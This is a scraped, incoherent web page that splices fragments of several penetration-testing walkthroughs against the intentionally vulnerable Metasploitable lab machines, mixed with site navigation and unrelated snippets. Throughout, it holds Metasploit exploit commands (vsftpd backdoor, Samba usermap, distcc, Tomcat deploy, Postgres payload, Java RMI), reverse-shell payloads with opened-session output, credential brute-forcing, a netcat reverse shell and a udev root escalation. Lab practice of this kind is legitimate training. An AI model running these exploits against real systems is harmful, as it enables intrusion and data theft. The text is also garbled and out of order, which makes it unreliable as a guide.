So weregoing to connect to it using vncviewer: Connected to RFB server, using protocol version 3.3, Desktop name roots X desktop (metasploitable:0). [*] Reading from socket B [*] Successfully sent exploit request Closed 6 years ago. whoami Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. URI /twiki/bin yes TWiki bin directory path I thought about closing ports but i read it isn't possible without killing processes. For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. The Rapid7 Metasploit community has developed a machine with a range of vulnerabilities. Module options (exploit/linux/misc/drb_remote_codeexec): Thus, we can infer that the port is TCP Wrapper protected. The Metasploit Framework is the most commonly-used framework for hackers worldwide. [+] 192.168.127.154:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) Yet weve got the basics covered. RHOST yes The target address First of all, open the Metasploit console in Kali. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. payload => java/meterpreter/reverse_tcp [*] udev pid: 2770 For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE-2012-1823 and CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2. msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. We againhave to elevate our privileges from here. [*] Writing to socket B [+] UID: uid=0(root) gid=0(root) Use the showmount Command to see the export list of the NFS server. Just enter ifconfig at the prompt to see the details for the virtual machine. Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7. msf exploit(usermap_script) > set LHOST 192.168.127.159 Here is the list of remote server databases: information_schema dvwa metasploit mysql owasp10 tikiwiki tikiwiki195. Module options (exploit/unix/webapp/twiki_history): The root directory is shared. Module options (auxiliary/scanner/smb/smb_version): Login with the above credentials. DB_ALL_PASS false no Add all passwords in the current database to the list URI yes The dRuby URI of the target host (druby://host:port) We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet. This allows remote access to the host for convenience or remote administration. [*] Banner: 220 (vsFTPd 2.3.4) Help Command NetlinkPID no Usually udevd pid-1. You will need the rpcbind and nfs-common Ubuntu packages to follow along. RHOST yes The target address Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres Metasploitable Networking: Starting Nmap 6.46 (, msf > search vsftpd msf exploit(drb_remote_codeexec) > set payload cmd/unix/reverse It allows hackers to set up listeners that create a conducive environment (referred to as a Meterpreter) to manipulate compromised machines. [*] Matching Compatible Payloads After the virtual machine boots, login to console with username msfadmin and password msfadmin. msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse Initially, to get the server version we will use an auxiliary module: Now we can use an appropriate exploit against the target with the information in hand: Samba username map script Command Execution. Once Metasploitable 2 is up and running and you have the IP address (mine will be 10.0.0.22 for this walkthrough), then you want to start your scan. 192.168.56/24 is the default "host only" network in Virtual Box. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 In our testing environment, the IP of the attacking machine is 192.168.127.159, and the victim machine is 192.168.127.154. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. RPORT => 445 [*] Writing payload executable (274 bytes) to /tmp/rzIcSWveTb During that test we found a number of potential attack vectors on our Metasploitable 2 VM. [*] Reading from socket B Need to report an Escalation or a Breach? Lets see if we can really connect without a password to the database as root. Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. 17,011. Differences between Metasploitable 3 and the older versions. A test environment provides a secure place to perform penetration testing and security research. You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. However the .rhosts file is misconfigured. I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions. To build a new virtual machine, open VirtualBox and click the New button. Browsing to http://192.168.56.101/ shows the web application home page. Metasploitable is a Linux virtual machine that is intentionally vulnerable. Step 8: Display all the user tables in information_schema. SESSION yes The session to run this module on. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. On July 3, 2011, this backdoor was eliminated. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Highlighted in red underline is the version of Metasploit. msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. Module options (exploit/multi/samba/usermap_script): ssh -l root -p 22 -i 57c3115d77c56390332dc5c49978627a-5429 192.168.127.154. PASSWORD => postgres ---- --------------- -------- ----------- root, http://192.168.127.159:8080/oVUJAkfU/WAHKp.jar, Kali Linux VPN Options and Installation Walkthrough, Feroxbuster And Why It Is The Best Forced Browsing Attack Tool, How to Bypass Software Security Checks Through Reverse Engineering, Ethical Hacking Practice Test 6 Footprinting Fundamentals Level1, CEH Practice Test 5 Footprinting Fundamentals Level 0. [*] Command: echo f8rjvIDZRdKBtu0F; The Nessus scan showed that the password password is used by the server. Both operating systems were a Virtual Machine (VM) running under VirtualBox. payload => cmd/unix/interact msf exploit(vsftpd_234_backdoor) > show options -- ---- msf exploit(distcc_exec) > show options The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. Module options (exploit/multi/samba/usermap_script): msf exploit(usermap_script) > set payload cmd/unix/reverse df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP). The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters. Name Current Setting Required Description msf exploit(tomcat_mgr_deploy) > exploit [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:35889) at 2021-02-06 16:51:56 +0300 Step 4: ChooseUse anexisting virtual hard drive file, clickthe folder icon and select C:/users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk. The next service we should look at is the Network File System (NFS). However, we figured out that we could use Metasploit against one of them in order to get a shell, so were going to detail that here. Exploit target: PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. To transfer commands and data between processes, DRb uses remote method invocation (RMI). VERBOSE true yes Whether to print output for all attempts Set-up This . THREADS 1 yes The number of concurrent threads Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282. RHOST => 192.168.127.154 [*] Scanned 1 of 1 hosts (100% complete) This Command demonstrates the mount information for the NFS server. This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. [*] Connected to 192.168.127.154:6667 Name Current Setting Required Description msf exploit(postgres_payload) > show options [*] Writing to socket B Currently, there is metasploitable 2, hosting a huge variety of vulnerable services and applications based on Ubuntu 8.04, and there is a newer Metasploitable 3 that is Windows Server 2008, or . [*] Started reverse double handler A vulnerability in the history component of TWiki is exploited by this module. DATABASE template1 yes The database to authenticate against . Metasploitable 2 is available at: Id Name Metasploitable 3 is the updated version based on Windows Server 2008. RPORT 1099 yes The target port -- ---- msf exploit(vsftpd_234_backdoor) > exploit Reference: Nmap command-line examples RHOSTS yes The target address range or CIDR identifier RPORT 1099 yes The target port ---- --------------- -------- ----------- TWiki is a flexible, powerful, secure, yet simple web-based collaboration platform. Target the IP address you found previously, and scan all ports (0-65535). After you log in to Metasploitable 2, you can identify the IP address that has been assigned to the virtual machine. msf exploit(usermap_script) > show options When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. -- ---- The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. RHOST => 192.168.127.154 Metasploit is a free open-source tool for developing and executing exploit code. SRVPORT 8080 yes The local port to listen on. Step 2: Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. Step 5: Select your Virtual Machine and click the Setting button. [*] Matching payload => cmd/unix/reverse Working with the Vulnerability Validation Wizard, Validating Vulnerabilities Discovered by Nexpose, Social Engineering Campaign Details Report, Single Password Testing MetaModule Report, Understanding the Credentials Domino MetaModule Findings, Segmentation and Firewall Testing MetaModule, Managing the Database from the Pro Console, Metasploit service can"t bind to port 3790, Items Displaying Incorrectly After Update, Installation failed: Signature failure Error, Use Meterpreter Locally Without an Exploit, Issue Restarting on Windows Due to RangeError, Social Engineering Campaigns Report Image Broken, Social Engineering Campaign Taking a Long Time, eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1, inet addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0, inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link, UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1, root@ubuntu:~# nmap -p0-65535 192.168.99.131, Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT, Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686, root@ubuntu:~# showmount -e 192.168.99.131. [*] Sending stage (1228800 bytes) to 192.168.127.154 Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1]. Step 3: Always True Scenario. We dont really want to deprive you of practicing new skills. We will do this by hacking FTP, telnet and SSH services. Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Every CVE Record added to the list is assigned and published by a CNA. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". -- ---- LHOST => 192.168.127.159 Step 1:Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. To make this step easier, both Nessus and Rapid7 NexPose scanners are used locate potential vulnerabilities for each service. payload => cmd/unix/reverse From a security perspective, anything labeled Java is expected to be interesting. [*] Matching [*] chmod'ing and running it PASSWORD => tomcat Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . In order to proceed, click on the Create button. Id Name Cross site scripting via the HTTP_USER_AGENT HTTP header. It gives you everything you need from scanners to third-party integrations that you will need throughout an entire penetration testing lifecycle. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. RHOST 192.168.127.154 yes The target address Name Current Setting Required Description Id Name [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:54381) at 2021-02-06 17:31:48 +0300 Since this is a mock exercise, I leave out the pre-engagement, post-exploitation and risk analysis, and reporting phases. Keywords vulnerabilities, penetration testing, Metasploit, Metasploitable 2, Metasploitable 3, pen-testing, exploits, Nmap, and Kali Linux Introduction Metasploitable 3 is an intentionally vulnerable Windows Server 2008R2 server, and it is a great way to learn about exploiting windows operating systems using Metasploit. RETURN_ROWSET true no Set to true to see query result sets Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. - Cisco 677/678 Telnet Buffer Overflow . Lets first see what relevant information we can obtain using the Tomcat Administration Tool Default Access module: With credentials, we are now able to use the Apache Tomcat Manager Application Deployer Authenticated Code Execution exploit: You may use this module to execute a payload on Apache Tomcat servers that have a manager application that is exposed. Alternatively, you can also use VMWare Workstation or VMWare Server. ================ Were going to use netcat to connect to the attacking machine and give it a shell: Listen on port 5555 on the attackers machine: Now that all is set up, I just make the exploit executable on the victim machine and run it: Now, for the root shell, check our local netcat listener: A little bit of work on that one, but all the more satisfying! The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the. msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp At a minimum, the following weak system accounts are configured on the system. We can now look into the databases and get whatever data we may like. As the payload is run as the constructor of the shared object, it does not have to adhere to particular Postgres API versions. LHOST => 192.168.127.159 [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300 msf exploit(postgres_payload) > set LHOST 192.168.127.159 . msf > use exploit/multi/misc/java_rmi_server [*] Reading from socket B Set the SUID bit using the following command: chmod 4755 rootme. STOP_ON_SUCCESS => true Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300 [*] Accepted the second client connection [*] B: "qcHh6jsH8rZghWdi\r\n" Long list the files with attributes in the local folder. This must be an address on the local machine or 0.0.0.0 In Cisco Prime LAN Management Solution, this vulnerability is reported to exist but may be present on any host that is not configured appropriately. Module options (exploit/unix/misc/distcc_exec): Name Current Setting Required Description The first of which installed on Metasploitable2 is distccd. A demonstration of an adverse outcome. The purpose of this video is to create virtual networking environment to learn more about ethical hacking using Metasploit framework available in Kali Linux.. Exploit target: The exploit executes /tmp/run, so throw in any payload that you want. STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. The risk of the host failing or to become infected is intensely high. 0 Automatic Do you have any feedback on the above examples or a resolution to our TWiki History problem? now you can do some post exploitation. The CVE List is built by CVE Numbering Authorities (CNAs). DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. USERNAME => tomcat msf exploit(distcc_exec) > set LHOST 192.168.127.159 Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. Lets see what that implies first: TCP Wrapper is a host-based network access control system that is used in operating systems such as Linux or BSD for filtering network access to Internet Protocol (IP) servers. So we got a low-privilege account. Please check out the Pentesting Lab section within our Part 1 article for further details on the setup. Exploit target: [*] Command shell session 3 opened (192.168.127.159:4444 -> 192.168.127.154:41975) at 2021-02-06 23:31:44 +0300 We looked for netcat on the victims command line, and luckily, it is installed: So well compile and send the exploit via netcat. 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The root directory is shared a Breach the list is assigned and published by a CNA commands.